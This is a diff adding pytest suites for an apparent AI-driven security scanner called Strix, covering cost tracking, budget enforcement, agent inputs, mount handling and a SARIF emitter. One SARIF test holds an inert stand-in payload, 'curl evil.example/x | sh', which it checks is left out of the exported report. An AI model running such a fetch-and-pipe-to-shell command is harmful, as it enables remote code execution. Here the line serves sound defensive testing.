new file mode 100644
index 000000000..fdbf7c170
--- /dev/null
+++ b/tests/test_cost_tracking.py
@@ -0,0 +1,44 @@
+"""Tests for provider-reported LLM cost capture."""
+
+from __future__ import annotations
+
+from types import SimpleNamespace
+from unittest.mock import MagicMock, patch
+
+import litellm
+
+from strix.config.models import _configure_litellm_compatibility
+from strix.report.state import litellm_cost_callback
+
+
+def test_streaming_logging_stays_enabled_for_cost_callback() -> None:
+ with (
+ patch.object(litellm, "disable_streaming_logging", new=True),
+ patch("strix.config.models._register_litellm_cost_callback") as register,
+ ):
+ _configure_litellm_compatibility()
+ assert litellm.disable_streaming_logging is False
+ register.assert_called_once_with()
+
+
+def test_cost_callback_reads_openrouter_stream_usage_cost() -> None:
+ report_state = MagicMock()
+ response = SimpleNamespace(
+ usage=SimpleNamespace(cost=1.2345),
+ _hidden_params={},
+ )
+
+ with patch("strix.report.state.get_global_report_state", return_value=report_state):
+ litellm_cost_callback({"response_cost": None}, response)
+
+ report_state.record_observed_llm_cost.assert_called_once_with(1.2345)
+
+
+def test_cost_callback_reads_usage_cost_from_mapping_response() -> None:
+ report_state = MagicMock()
+ response = {"usage": {"cost": 0.125}}
+
+ with patch("strix.report.state.get_global_report_state", return_value=report_state):
+ litellm_cost_callback({}, response)
+
+ report_state.record_observed_llm_cost.assert_called_once_with(0.125)
diff --git a/tests/test_execution.py b/tests/test_execution.py
new file mode 100644
index 000000000..59a37e651
--- /dev/null
+++ b/tests/test_execution.py
@@ -0,0 +1,44 @@
+"""Tests for the scan-wide budget-stop signal on the agent coordinator."""
+
+from __future__ import annotations
+
+import asyncio
+
+import pytest
+
+from strix.core.agents import AgentCoordinator
+
+
+@pytest.mark.asyncio
+async def test_budget_stop_sets_flag() -> None:
+ coordinator = AgentCoordinator()
+ await coordinator.register("root", "strix", parent_id=None)
+
+ assert coordinator.budget_stopped is False
+ await coordinator.trigger_budget_stop()
+ assert coordinator.budget_stopped is True
+
+
+@pytest.mark.asyncio
+async def test_budget_stop_unblocks_parked_agent() -> None:
+ # A parent parked in wait_for_message (awaiting a child) must be released so
+ # it can exit, no matter where in the tree the budget limit was hit.
+ coordinator = AgentCoordinator()
+ await coordinator.register("parent", "strix", parent_id=None)
+
+ waiter = asyncio.create_task(coordinator.wait_for_message("parent"))
+ await asyncio.sleep(0) # let the waiter park
+ assert not waiter.done()
+
+ await coordinator.trigger_budget_stop()
+ await asyncio.wait_for(waiter, timeout=1.0)
+
+
+@pytest.mark.asyncio
+async def test_wait_for_message_returns_immediately_after_budget_stop() -> None:
+ coordinator = AgentCoordinator()
+ await coordinator.register("agent", "recon", parent_id="parent")
+ await coordinator.trigger_budget_stop()
+
+ # No pending messages, but the stop flag short-circuits the wait.
+ await asyncio.wait_for(coordinator.wait_for_message("agent"), timeout=1.0)
diff --git a/tests/test_hooks.py b/tests/test_hooks.py
new file mode 100644
index 000000000..5dcbed4f0
--- /dev/null
+++ b/tests/test_hooks.py
@@ -0,0 +1,108 @@
+"""Tests for budget enforcement in ReportUsageHooks."""
+
+from __future__ import annotations
+
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+from strix.core.hooks import BudgetExceededError, ReportUsageHooks
+
+
+def _make_hooks(max_budget: float | None) -> ReportUsageHooks:
+ return ReportUsageHooks(model="test-model", max_budget_usd=max_budget)
+
+
+def _make_report_state(cost: float) -> MagicMock:
+ state = MagicMock()
+ state.get_total_llm_cost.return_value = cost
+ state.record_sdk_usage = MagicMock()
+ return state
+
+
+def _make_context(agent_id: str = "test-agent") -> MagicMock:
+ ctx: MagicMock = MagicMock()
+ ctx.context = {"agent_id": agent_id}
+ return ctx
+
+
+@pytest.mark.asyncio
+async def test_no_budget_never_raises() -> None:
+ hooks = _make_hooks(None)
+ state = _make_report_state(9999.0)
+ with patch("strix.core.hooks.get_global_report_state", return_value=state):
+ await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
+
+
+@pytest.mark.asyncio
+async def test_under_budget_does_not_raise() -> None:
+ hooks = _make_hooks(10.0)
+ state = _make_report_state(9.99)
+ with patch("strix.core.hooks.get_global_report_state", return_value=state):
+ await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
+
+
+@pytest.mark.asyncio
+async def test_at_budget_raises() -> None:
+ hooks = _make_hooks(10.0)
+ state = _make_report_state(10.0)
+ with (
+ patch("strix.core.hooks.get_global_report_state", return_value=state),
+ pytest.raises(BudgetExceededError),
+ ):
+ await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
+
+
+@pytest.mark.asyncio
+async def test_over_budget_raises() -> None:
+ hooks = _make_hooks(10.0)
+ state = _make_report_state(10.01)
+ with (
+ patch("strix.core.hooks.get_global_report_state", return_value=state),
+ pytest.raises(BudgetExceededError),
+ ):
+ await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
+
+
+@pytest.mark.asyncio
+async def test_budget_check_uses_live_cost_accessor() -> None:
+ # The check must read the live ledger, not the persisted run-record snapshot,
+ # so it stays accurate even when a save fails after a usage record.
+ hooks = _make_hooks(5.0)
+ state = _make_report_state(6.0)
+ with (
+ patch("strix.core.hooks.get_global_report_state", return_value=state),
+ pytest.raises(BudgetExceededError),
+ ):
+ await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
+ state.get_total_llm_cost.assert_called_once()
+ state.get_total_llm_usage.assert_not_called()
+
+
+@pytest.mark.asyncio
+async def test_error_message_includes_amounts() -> None:
+ hooks = _make_hooks(5.0)
+ state = _make_report_state(7.1234)
+ with patch("strix.core.hooks.get_global_report_state", return_value=state):
+ with pytest.raises(BudgetExceededError, match=r"\$5\.00") as exc_info:
+ await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
+ assert "7.1234" in str(exc_info.value)
+
+
+@pytest.mark.asyncio
+async def test_no_raise_when_report_state_none() -> None:
+ hooks = _make_hooks(1.0)
+ with patch("strix.core.hooks.get_global_report_state", return_value=None):
+ # Should return early without raising, even with budget set
+ await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
+
+
+@pytest.mark.parametrize("bad_budget", [0.0, -0.01, -5.0])
+def test_non_positive_budget_rejected(bad_budget: float) -> None:
+ with pytest.raises(ValueError, match="greater than 0"):
+ ReportUsageHooks(model="test-model", max_budget_usd=bad_budget)
+
+
+def test_budget_exceeded_error_is_runtime_error() -> None:
+ err = BudgetExceededError("test")
+ assert isinstance(err, RuntimeError)
diff --git a/tests/test_inputs.py b/tests/test_inputs.py
new file mode 100644
index 000000000..c8fcf6013
--- /dev/null
+++ b/tests/test_inputs.py
@@ -0,0 +1,114 @@
+"""Tests for pure input builders in strix.core.inputs."""
+
+from __future__ import annotations
+
+from itertools import pairwise
+from typing import Any
+
+import pytest
+
+from strix.core.inputs import build_root_task, child_initial_input
+
+
+def _child_kwargs(parent_history: list[Any]) -> dict[str, Any]:
+ return {
+ "name": "scout",
+ "child_id": "agent-2",
+ "parent_id": "agent-1",
+ "task": "Audit the login flow.",
+ "parent_history": parent_history,
+ }
+
+
+def test_child_initial_input_single_message_without_history() -> None:
+ result = child_initial_input(**_child_kwargs([]))
+
+ assert len(result) == 1
+ assert result[0]["role"] == "user"
+ content = result[0]["content"]
+ assert "agent scout (agent-2)" in content
+ assert "Audit the login flow." in content
+ assert "Inherited context" not in content
+
+
+def test_child_initial_input_single_message_with_history() -> None:
+ history = [{"role": "assistant", "content": "previous work"}]
+ result = child_initial_input(**_child_kwargs(history))
+
+ assert len(result) == 1
+ assert result[0]["role"] == "user"
+ content = result[0]["content"]
+ assert "Inherited context from parent" in content
+ assert "previous work" in content
+ assert "agent scout (agent-2)" in content
+ assert "Audit the login flow." in content
+
+
+@pytest.mark.parametrize(
+ "parent_history",
+ [[], [{"role": "assistant", "content": "previous work"}]],
+)
+def test_child_initial_input_no_consecutive_same_role(parent_history: list[Any]) -> None:
+ result = child_initial_input(**_child_kwargs(parent_history))
+
+ roles = [msg["role"] for msg in result]
+ assert all(prev != nxt for prev, nxt in pairwise(roles))
+
+
+def test_build_root_task_empty_config() -> None:
+ assert build_root_task({}) == ""
+
+
+def test_build_root_task_repository_target() -> None:
+ config = {
+ "targets": [
+ {
+ "type": "repository",
+ "details": {
+ "target_repo": "https://example.com/repo.git",
+ "cloned_repo_path": "/workspace/repo",
+ "workspace_subdir": "repo",
+ },
+ },
+ ],
+ }
+ task = build_root_task(config)
+
+ assert "Repositories:" in task
+ assert "/workspace/repo" in task
+ assert "https://example.com/repo.git" in task
+
+
+def test_build_root_task_web_application_with_instructions() -> None:
+ config = {
+ "targets": [
+ {"type": "web_application", "details": {"target_url": "https://app.example.com"}},
+ ],
+ "user_instructions": "Focus on auth.",
+ }
+ task = build_root_task(config)
+
+ assert "URLs:" in task
+ assert "https://app.example.com" in task
+ assert "Special instructions: Focus on auth." in task
+
+
+def test_build_root_task_diff_scope() -> None:
+ config = {
+ "targets": [],
+ "diff_scope": {
+ "active": True,
+ "repos": [
+ {
+ "workspace_subdir": "repo",
+ "analyzable_files_count": 3,
+ "deleted_files_count": 2,
+ },
+ ],
+ },
+ }
+ task = build_root_task(config)
+
+ assert "Scope Constraints:" in task
+ assert "3 changed file(s)" in task
+ assert "2 deleted file(s)" in task
diff --git a/tests/test_local_sources.py b/tests/test_local_sources.py
new file mode 100644
index 000000000..bd3448de8
--- /dev/null
+++ b/tests/test_local_sources.py
@@ -0,0 +1,188 @@
+"""Tests for local-source sizing and ``--mount`` target helpers in interface.utils."""
+
+from __future__ import annotations
+
+import logging
+import os
+import sys
+from typing import TYPE_CHECKING, Any
+
+import pytest
+
+
+if TYPE_CHECKING:
+ from pathlib import Path
+
+from strix.interface.utils import (
+ build_mount_targets_info,
+ collect_local_sources,
+ dedupe_local_targets,
+ directory_size_bytes,
+ find_oversized_local_targets,
+)
+
+
+def _write_file(path: Path, size: int) -> None:
+ path.write_bytes(b"x" * size)
+
+
+def _local_target(target_path: str, *, mount: bool = False) -> dict[str, Any]:
+ details: dict[str, Any] = {"target_path": target_path, "workspace_subdir": "repo"}
+ if mount:
+ details["mount"] = True
+ return {"type": "local_code", "details": details, "original": target_path}
+
+
+def test_directory_size_empty_dir_is_zero(tmp_path: Path) -> None:
+ assert directory_size_bytes(tmp_path) == 0
+
+
+def test_directory_size_sums_flat_and_nested_files(tmp_path: Path) -> None:
+ _write_file(tmp_path / "a.txt", 100)
+ nested = tmp_path / "sub" / "deep"
+ nested.mkdir(parents=True)
+ _write_file(nested / "b.txt", 250)
+ assert directory_size_bytes(tmp_path) == 350
+
+
+def test_directory_size_skips_symlinks(tmp_path: Path) -> None:
+ _write_file(tmp_path / "real.txt", 100)
+ (tmp_path / "link.txt").symlink_to(tmp_path / "real.txt")
+ # The symlink target is counted once via the real file, not doubled.
+ assert directory_size_bytes(tmp_path) == 100
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="relies on POSIX permissions")
+def test_directory_size_logs_and_skips_unreadable_subdir(
+ tmp_path: Path, caplog: pytest.LogCaptureFixture
+) -> None:
+ if hasattr(os, "geteuid") and os.geteuid() == 0:
+ pytest.skip("root bypasses directory permissions")
+ _write_file(tmp_path / "top.txt", 100)
+ locked = tmp_path / "locked"
+ locked.mkdir()
+ _write_file(locked / "secret.bin", 9999)
+ locked.chmod(0o000)
+ try:
+ with caplog.at_level(logging.WARNING):
+ size = directory_size_bytes(tmp_path)
+ finally:
+ locked.chmod(0o755)
+ # The unreadable subtree is excluded (not silently treated as readable) and
+ # the omission is logged rather than vanishing without a trace.
+ assert size == 100
+ assert any("Could not read" in record.message for record in caplog.records)
+
+
+def test_find_oversized_returns_nothing_under_limit(tmp_path: Path) -> None:
+ _write_file(tmp_path / "a.txt", 100)
+ targets = [_local_target(str(tmp_path))]
+ assert find_oversized_local_targets(targets, max_bytes=1000) == []
+
+
+def test_find_oversized_returns_target_over_limit(tmp_path: Path) -> None:
+ _write_file(tmp_path / "big.bin", 500)
+ targets = [_local_target(str(tmp_path))]
+ result = find_oversized_local_targets(targets, max_bytes=100)
+ assert result == [(str(tmp_path), 500)]
+
+
+def test_find_oversized_ignores_mounted_targets(tmp_path: Path) -> None:
+ _write_file(tmp_path / "big.bin", 500)
+ targets = [_local_target(str(tmp_path), mount=True)]
+ assert find_oversized_local_targets(targets, max_bytes=100) == []
+
+
+def test_find_oversized_ignores_non_local_targets() -> None:
+ targets = [{"type": "web_application", "details": {"target_url": "https://x"}}]
+ assert find_oversized_local_targets(targets, max_bytes=1) == []
+
+
+@pytest.mark.parametrize("disabled", [0, -1])
+def test_find_oversized_disabled_for_non_positive_limit(tmp_path: Path, disabled: int) -> None:
+ _write_file(tmp_path / "big.bin", 500)
+ targets = [_local_target(str(tmp_path))]
+ assert find_oversized_local_targets(targets, max_bytes=disabled) == []
+
+
+def test_collect_local_sources_propagates_mount_flag() -> None:
+ copied = _local_target("/copied")
+ copied["details"]["workspace_subdir"] = "copied"
+ mounted = _local_target("/mounted", mount=True)
+ mounted["details"]["workspace_subdir"] = "mounted"
+
+ sources = collect_local_sources([copied, mounted])
+
+ by_path = {s["source_path"]: s for s in sources}
+ assert by_path["/copied"]["mount"] is False
+ assert by_path["/mounted"]["mount"] is True
+
+
+def test_collect_local_sources_repository_is_never_mounted() -> None:
+ repo = {
+ "type": "repository",
+ "details": {"cloned_repo_path": "/clone", "workspace_subdir": "clone"},
+ }
+ sources = collect_local_sources([repo])
+ assert sources == [{"source_path": "/clone", "workspace_subdir": "clone", "mount": False}]
+
+
+def test_build_mount_targets_info_for_valid_dir(tmp_path: Path) -> None:
+ result = build_mount_targets_info([str(tmp_path)])
+ assert len(result) == 1
+ entry = result[0]
+ assert entry["type"] == "local_code"
+ assert entry["details"]["mount"] is True
+ assert entry["details"]["target_path"] == str(tmp_path.resolve())
+
+
+def test_build_mount_targets_info_rejects_missing_path(tmp_path: Path) -> None:
+ missing = tmp_path / "does-not-exist"
+ with pytest.raises(ValueError, match="not an existing directory"):
+ build_mount_targets_info([str(missing)])
+
+
+def test_build_mount_targets_info_rejects_file(tmp_path: Path) -> None:
+ file_path = tmp_path / "a-file.txt"
+ _write_file(file_path, 10)
+ with pytest.raises(ValueError, match="not an existing directory"):
+ build_mount_targets_info([str(file_path)])
+
+
+@pytest.mark.parametrize("empty", ["", " "])
+def test_build_mount_targets_info_rejects_empty_path(empty: str) -> None:
+ # An empty path would otherwise resolve to the current working directory
+ # and silently bind-mount it into the sandbox.
+ with pytest.raises(ValueError, match="must not be empty"):
+ build_mount_targets_info([empty])
+
+
+def test_dedupe_keeps_distinct_targets_in_order() -> None:
+ targets = [
+ _local_target("/a"),
+ {"type": "web_application", "details": {"target_url": "https://x"}},
+ _local_target("/b", mount=True),
+ ]
+ assert dedupe_local_targets(targets) == targets
+
+
+def test_dedupe_mount_supersedes_copied_same_path() -> None:
+ copied = _local_target("/repo")
+ mounted = _local_target("/repo", mount=True)
+
+ # Copied first, then mounted: the single surviving entry is the mount.
+ result = dedupe_local_targets([copied, mounted])
+ assert len(result) == 1
+ assert result[0]["details"]["mount"] is True
+
+ # Order-independent: mounted first, copied second also yields the mount.
+ result_rev = dedupe_local_targets([mounted, copied])
+ assert len(result_rev) == 1
+ assert result_rev[0]["details"]["mount"] is True
+
+
+def test_dedupe_collapses_duplicate_mounts() -> None:
+ result = dedupe_local_targets(
+ [_local_target("/repo", mount=True), _local_target("/repo", mount=True)]
+ )
+ assert len(result) == 1
diff --git a/tests/test_notes.py b/tests/test_notes.py
new file mode 100644
index 000000000..e6a63df3e
--- /dev/null
+++ b/tests/test_notes.py
@@ -0,0 +1,67 @@
+"""Tests for per-run notes storage."""
+
+from __future__ import annotations
+
+import uuid
+from typing import TYPE_CHECKING
+
+import pytest
+
+import strix.tools.notes.tools as notes_tools
+
+
+if TYPE_CHECKING:
+ from collections.abc import Iterator
+
+
+@pytest.fixture(autouse=True)
+def _reset_notes_storage(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
+ monkeypatch.setattr(notes_tools, "_notes_path", None)
+ with notes_tools._notes_lock:
+ notes_tools._notes_storage.clear()
+ yield
+ with notes_tools._notes_lock:
+ notes_tools._notes_storage.clear()
+
+
+def test_create_note_retries_on_note_id_collision(monkeypatch: pytest.MonkeyPatch) -> None:
+ generated_ids = iter(
+ [
+ uuid.UUID("abcdef00-0000-4000-8000-000000000000"),
+ uuid.UUID("abcdef11-0000-4000-8000-000000000000"),
+ uuid.UUID("12345600-0000-4000-8000-000000000000"),
+ ]
+ )
+ monkeypatch.setattr(notes_tools.uuid, "uuid4", lambda: next(generated_ids))
+
+ first = notes_tools._create_note_impl("first", "original content")
+ second = notes_tools._create_note_impl("second", "new content")
+
+ assert first["success"] is True
+ assert first["note_id"] == "abcdef"
+ assert second["success"] is True
+ assert second["note_id"] == "123456"
+ assert second["total_count"] == 2
+ assert notes_tools._notes_storage["abcdef"]["content"] == "original content"
+ assert notes_tools._notes_storage["123456"]["content"] == "new content"
+
+
+def test_create_note_returns_error_after_repeated_note_id_collisions(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ monkeypatch.setattr(notes_tools, "_NOTE_ID_GENERATION_ATTEMPTS", 2)
+ monkeypatch.setattr(
+ notes_tools.uuid,
+ "uuid4",
+ lambda: uuid.UUID("abcdef00-0000-4000-8000-000000000000"),
+ )
+ notes_tools._notes_storage["abcdef"] = {"content": "existing"}
+
+ result = notes_tools._create_note_impl("second", "new content")
+
+ assert result == {
+ "success": False,
+ "error": "Failed to generate a unique note ID",
+ "note_id": None,
+ }
+ assert notes_tools._notes_storage == {"abcdef": {"content": "existing"}}
diff --git a/tests/test_runner_rate_limit.py b/tests/test_runner_rate_limit.py
new file mode 100644
index 000000000..ed28d250b
--- /dev/null
+++ b/tests/test_runner_rate_limit.py
@@ -0,0 +1,84 @@
+"""Tests for graceful handling of persistent RateLimitError in run_strix_scan."""
+
+from __future__ import annotations
+
+import logging
+import types
+from typing import Any
+
+import httpx
+import pytest
+from openai import RateLimitError
+
+import strix.tools.notes.tools as notes_tools
+import strix.tools.todo.tools as todo_tools
+from strix.core import runner
+from strix.core.agents import AgentCoordinator
+
+
+def _make_rate_limit_error() -> RateLimitError:
+ request = httpx.Request("POST", "https://api.openai.com/v1/responses")
+ response = httpx.Response(status_code=429, request=request)
+ return RateLimitError("rate limited", response=response, body=None)
+
+
+@pytest.mark.asyncio
+async def test_persistent_rate_limit_stops_gracefully(
+ monkeypatch: pytest.MonkeyPatch, tmp_path: Any, caplog: pytest.LogCaptureFixture
+) -> None:
+ """A persistent RateLimitError stops the scan (root -> 'stopped') without raising."""
+ monkeypatch.setattr(runner, "run_dir_for", lambda _scan_id: tmp_path)
+ monkeypatch.setattr(runner, "runtime_state_dir", lambda _run_dir: tmp_path)
+ monkeypatch.setattr(runner, "setup_scan_logging", lambda _run_dir: lambda: None)
+ monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
+
+ settings = types.SimpleNamespace(
+ llm=types.SimpleNamespace(model="openai/gpt-4o", reasoning_effort="high")
+ )
+ monkeypatch.setattr(runner, "load_settings", lambda: settings)
+ monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _settings: None)
+ monkeypatch.setattr(
+ runner, "uses_chat_completions_tool_schema", lambda _model, _settings: False
+ )
+
+ monkeypatch.setattr(todo_tools, "hydrate_todos_from_disk", lambda _state_dir: None)
+ monkeypatch.setattr(notes_tools, "hydrate_notes_from_disk", lambda _state_dir: None)
+
+ async def _create_or_reuse(*_args: Any, **_kwargs: Any) -> dict[str, Any]:
+ return {"client": object(), "session": object(), "caido_client": None}
+
+ async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
+ return None
+
+ monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
+ monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
+
+ monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
+ monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: "")
+ monkeypatch.setattr(runner, "make_model_settings", lambda *_args, **_kwargs: object())
+ monkeypatch.setattr(runner, "build_strix_agent", lambda **_kwargs: object())
+ monkeypatch.setattr(runner, "make_child_factory", lambda **_kwargs: lambda **_k: object())
+ monkeypatch.setattr(runner, "open_agent_session", lambda _root_id, _db: object())
+
+ async def _raise_rate_limit(*_args: Any, **_kwargs: Any) -> None:
+ raise _make_rate_limit_error()
+
+ monkeypatch.setattr(runner, "run_agent_loop", _raise_rate_limit)
+
+ coordinator = AgentCoordinator()
+
+ with caplog.at_level(logging.WARNING):
+ result = await runner.run_strix_scan(
+ scan_config={"targets": [], "scan_mode": "deep"},
+ scan_id="scan-test",
+ image="img",
+ coordinator=coordinator,
+ )
+
+ assert result is None
+ root_ids = [aid for aid, parent in coordinator.parent_of.items() if parent is None]
+ assert len(root_ids) == 1
+ assert coordinator.statuses[root_ids[0]] == "stopped"
+ # the resume hint must carry the real scan id, not a literal placeholder
+ assert "strix --resume scan-test" in caplog.text
+ assert "" not in caplog.text
diff --git a/tests/test_sarif.py b/tests/test_sarif.py
new file mode 100644
index 000000000..849835b0b
--- /dev/null
+++ b/tests/test_sarif.py
@@ -0,0 +1,244 @@
+"""Tests for the SARIF 2.1.0 emitter in strix.report.sarif."""
+
+from __future__ import annotations
+
+import json
+from typing import TYPE_CHECKING, Any
+
+from strix.report.sarif import write_sarif
+
+
+if TYPE_CHECKING:
+ from pathlib import Path
+
+
+def _read(run_dir: Path) -> dict[str, Any]:
+ doc = json.loads((run_dir / "findings.sarif").read_text(encoding="utf-8"))
+ assert isinstance(doc, dict)
+ return doc
+
+
+def _finding(**overrides: Any) -> dict[str, Any]:
+ base: dict[str, Any] = {
+ "id": "vuln-0001",
+ "title": "SQL Injection in get_user",
+ "severity": "critical",
+ "cwe": "CWE-89",
+ "timestamp": "2026-07-02 10:00:00 UTC",
+ "code_locations": [{"file": "app.py", "start_line": 4}],
+ }
+ base.update(overrides)
+ return base
+
+
+def test_write_sarif_basic_shape(tmp_path: Path) -> None:
+ write_sarif(tmp_path, [_finding()])
+ doc = _read(tmp_path)
+
+ assert doc["version"] == "2.1.0"
+ assert "2.1.0" in doc["$schema"]
+ run = doc["runs"][0]
+ assert run["tool"]["driver"]["name"] == "Strix"
+ assert len(run["results"]) == 1
+ loc = run["results"][0]["locations"][0]["physicalLocation"]
+ assert loc["artifactLocation"]["uri"] == "app.py"
+ assert loc["region"]["startLine"] == 4
+
+
+def test_write_sarif_always_emits_for_zero_findings(tmp_path: Path) -> None:
+ # A clean run must still write an (empty) document so a SARIF consumer can
+ # auto-resolve alerts that are absent from the new submission.
+ out = write_sarif(tmp_path, [])
+ assert out.exists()
+ doc = _read(tmp_path)
+ assert doc["version"] == "2.1.0"
+ assert doc["runs"][0]["results"] == []
+
+
+def test_write_sarif_tool_version_is_reported(tmp_path: Path) -> None:
+ write_sarif(tmp_path, [_finding()], tool_version="9.9.9")
+ assert _read(tmp_path)["runs"][0]["tool"]["driver"]["version"] == "9.9.9"
+
+
+def test_write_sarif_locationless_finding_is_anchored_not_dropped(tmp_path: Path) -> None:
+ # A finding with no code location must still appear (anchored to a stable
+ # fallback), never be silently dropped from the report.
+ write_sarif(tmp_path, [_finding(id="vuln-0002", code_locations=None)])
+ results = _read(tmp_path)["runs"][0]["results"]
+ assert len(results) == 1
+ uri = results[0]["locations"][0]["physicalLocation"]["artifactLocation"]["uri"]
+ assert uri == "SECURITY.md"
+
+
+def test_write_sarif_fingerprint_stable_across_title_rewording(tmp_path: Path) -> None:
+ # The same finding at the same location with a reworded title must keep the
+ # same partialFingerprints, so a re-scan doesn't churn code-scanning alerts.
+ a = tmp_path / "a"
+ b = tmp_path / "b"
+ a.mkdir()
+ b.mkdir()
+ write_sarif(a, [_finding(title="SQL Injection in get_user")])
+ write_sarif(b, [_finding(title="SQLi via string-formatted query in get_user")])
+
+ fp_a = _read(a)["runs"][0]["results"][0]["partialFingerprints"]
+ fp_b = _read(b)["runs"][0]["results"][0]["partialFingerprints"]
+ assert fp_a == fp_b
+
+
+def test_write_sarif_distinct_findings_get_distinct_fingerprints(tmp_path: Path) -> None:
+ write_sarif(
+ tmp_path,
+ [
+ _finding(
+ id="vuln-0001", cwe="CWE-89", code_locations=[{"file": "app.py", "start_line": 4}]
+ ),
+ _finding(
+ id="vuln-0002", cwe="CWE-78", code_locations=[{"file": "cmd.py", "start_line": 4}]
+ ),
+ ],
+ )
+ results = _read(tmp_path)["runs"][0]["results"]
+ assert len(results) == 2
+ fps = {json.dumps(r["partialFingerprints"], sort_keys=True) for r in results}
+ assert len(fps) == 2
+
+
+def test_write_sarif_never_embeds_poc_script(tmp_path: Path) -> None:
+ # SARIF is written for external upload; the weaponized exploit body must
+ # never appear in it. Only a presence flag + the description are surfaced.
+ # NOTE: `marker` is an inert string literal (a stand-in for an exploit
+ # payload) that this test asserts is ABSENT from the output — it is never
+ # executed, parsed, or run as code.
+ marker = "EXPLOIT-PAYLOAD-MARKER curl evil.example/x | sh"
+ write_sarif(
+ tmp_path,
+ [
+ _finding(
+ poc_description="Send a crafted request to trigger the sink.",
+ poc_script_code=marker,
+ )
+ ],
+ )
+ raw = (tmp_path / "findings.sarif").read_text(encoding="utf-8")
+ assert marker not in raw
+ assert "EXPLOIT-PAYLOAD-MARKER" not in raw
+
+ poc = _read(tmp_path)["runs"][0]["results"][0]["properties"]["strix"]["poc"]
+ assert poc["script_available"] is True
+ assert "script" not in poc
+ assert poc["description"] == "Send a crafted request to trigger the sink."
+
+
+def test_write_sarif_builds_fixes_from_code_location_fix_pairs(tmp_path: Path) -> None:
+ # A code location carrying fix_before/fix_after must surface as a SARIF
+ # fix (artifactChange/replacement) so consumers can offer a one-click fix.
+ write_sarif(
+ tmp_path,
+ [
+ _finding(
+ remediation_steps="Use a parameterized query.",
+ code_locations=[
+ {
+ "file": "app.py",
+ "start_line": 4,
+ "end_line": 4,
+ "fix_before": 'query = "SELECT * FROM u WHERE id=" + uid',
+ "fix_after": 'query = "SELECT * FROM u WHERE id=%s"',
+ }
+ ],
+ )
+ ],
+ )
+ result = _read(tmp_path)["runs"][0]["results"][0]
+ fixes = result["fixes"]
+ assert len(fixes) == 1
+ change = fixes[0]["artifactChanges"][0]
+ assert change["artifactLocation"]["uri"] == "app.py"
+ replacement = change["replacements"][0]
+ assert replacement["deletedRegion"]["startLine"] == 4
+ assert replacement["insertedContent"]["text"] == 'query = "SELECT * FROM u WHERE id=%s"'
+
+
+def test_write_sarif_omits_fixes_without_fix_pairs(tmp_path: Path) -> None:
+ write_sarif(tmp_path, [_finding()])
+ assert "fixes" not in _read(tmp_path)["runs"][0]["results"][0]
+
+
+def test_write_sarif_adds_logical_location_for_endpoint(tmp_path: Path) -> None:
+ # DAST findings hang off an endpoint; it must be preserved as a logical
+ # location so the finding keeps an addressable anchor.
+ write_sarif(tmp_path, [_finding(endpoint="GET /api/users/{id}")])
+ locations = _read(tmp_path)["runs"][0]["results"][0]["locations"]
+ logical = [
+ entry
+ for loc in locations
+ for entry in loc.get("logicalLocations", [])
+ if entry.get("kind") == "endpoint"
+ ]
+ assert logical == [{"fullyQualifiedName": "GET /api/users/{id}", "kind": "endpoint"}]
+
+
+def test_write_sarif_synthetic_finding_falls_back_to_resource_logical_location(
+ tmp_path: Path,
+) -> None:
+ # No code location and no endpoint: the target becomes a resource logical
+ # location so a locationless finding still carries a meaningful anchor.
+ write_sarif(
+ tmp_path,
+ [_finding(code_locations=None, endpoint=None, target="https://api.example.com")],
+ )
+ result = _read(tmp_path)["runs"][0]["results"][0]
+ assert result["properties"]["synthetic_location"] is True
+ logical = [
+ entry
+ for loc in result["locations"]
+ for entry in loc.get("logicalLocations", [])
+ if entry.get("kind") == "resource"
+ ]
+ assert logical == [{"fullyQualifiedName": "https://api.example.com", "kind": "resource"}]
+
+
+def test_write_sarif_emits_version_control_provenance(tmp_path: Path) -> None:
+ write_sarif(
+ tmp_path,
+ [_finding()],
+ repository_context={
+ "repositoryUri": "https://github.com/acme/widget",
+ "repositoryFullName": "acme/widget",
+ "commitSha": "abc123def456",
+ "branch": "main",
+ "ref": "refs/heads/main",
+ },
+ )
+ run = _read(tmp_path)["runs"][0]
+ assert run["automationDetails"] == {"id": "strix/acme/widget"}
+ provenance = run["versionControlProvenance"][0]
+ assert provenance == {
+ "repositoryUri": "https://github.com/acme/widget",
+ "revisionId": "abc123def456",
+ "branch": "main",
+ }
+ assert run["properties"]["repository"] == "acme/widget"
+ assert run["properties"]["commit_sha"] == "abc123def456"
+ assert run["properties"]["ref"] == "refs/heads/main"
+
+
+def test_write_sarif_omits_provenance_when_no_repository_context(tmp_path: Path) -> None:
+ # DAST / URL scans have no VCS; provenance fields must be absent, not empty.
+ write_sarif(tmp_path, [_finding()])
+ run = _read(tmp_path)["runs"][0]
+ assert "versionControlProvenance" not in run
+ assert "automationDetails" not in run
+
+
+def test_write_sarif_replaces_atomically_no_partial_on_reemit(tmp_path: Path) -> None:
+ # A re-emit must land a complete document, never leave a stray temp file
+ # or a truncated target alongside it.
+ write_sarif(tmp_path, [_finding()])
+ write_sarif(tmp_path, [_finding(), _finding(id="vuln-0002", cwe="CWE-78")])
+
+ # Only the final artifact remains — no leftover .tmp siblings.
+ leftovers = [p.name for p in tmp_path.iterdir() if p.name != "findings.sarif"]
+ assert leftovers == []
+ # And it parses as a complete document with both findings.
+ assert len(_read(tmp_path)["runs"][0]["results"]) == 2
diff --git a/tests/test_session_entries.py b/tests/test_session_entries.py
new file mode 100644
index 000000000..8288c1d08
--- /dev/null
+++ b/tests/test_session_entries.py
@@ -0,0 +1,67 @@
+"""Tests for build_session_entries: splitting copied vs bind-mounted sources."""
+
+from __future__ import annotations
+
+from typing import TYPE_CHECKING, Any
+
